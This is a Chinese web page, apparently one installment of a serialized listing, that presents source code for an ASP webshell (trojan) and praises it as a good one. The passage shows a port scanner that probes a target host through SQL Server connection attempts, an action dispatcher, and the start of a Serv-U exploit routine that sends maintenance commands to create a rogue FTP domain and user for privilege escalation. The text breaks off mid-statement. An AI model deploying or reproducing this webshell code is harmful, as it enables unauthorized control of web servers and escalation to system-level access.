一款不错的asp木马 黑色界面(19)

Next
timer2 = timer
thetime=cstr(int(timer2-timer1))
RRS"<hr>Process in "&thetime&" s"
END IF
end sub
Sub Scan(targetip, portNum)
    On Error Resume Next
    set conn = Server.CreateObject("ADODB.connection")
    connstr="Provider=SQLOLEDB.1;Data Source=" & targetip &","& 
portNum &";User ID=lake2;Password=;"
    conn.ConnectionTimeout = 1
    conn.open connstr
    If Err Then
        If Err.number = -2147217843 or Err.number = -2147467259 
Then
            If InStr(Err.description, "(Connect()).") > 0 
Then
                RRS(targetip & ":" & portNum & 
".........关闭<br>")
            Else
                RRS(targetip & ":" & portNum & 
".........<font color=red>开放</font><br>")
            End If
        End If
    End If
End Sub
Select Case Action
  Case "MainMenu":MainMenu()
  Case "getTerminalInfo":getTerminalInfo()
  case "ScanPort":ScanPort()
  Case "Servu"
SUaction=request("SUaction")
if  not isnumeric(SUaction) then response.end
user = trim(request("u"))
pass = trim(request("p"))
port = trim(request("port"))
cmd = trim(request("c"))
f=trim(request("f"))
if f="" then
f=gpath()
else
   f=left(f,2)
end if
ftpport = 65500
timeout=3
loginuser = "User " & user & vbCrLf
loginpass = "Pass " & pass & vbCrLf
deldomain = "-DELETEDOMAIN" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & " 
PortNo=" & ftpport & vbCrLf
mt = "SITE MAINTENANCE" & vbCrLf
newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=goldsun|0.0.0.0|" & 
ftpport & "|-1|1|0" & vbCrLf & "-TZOEnable=0" & vbCrLf & " TZOKey=" & 
vbCrLf
newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-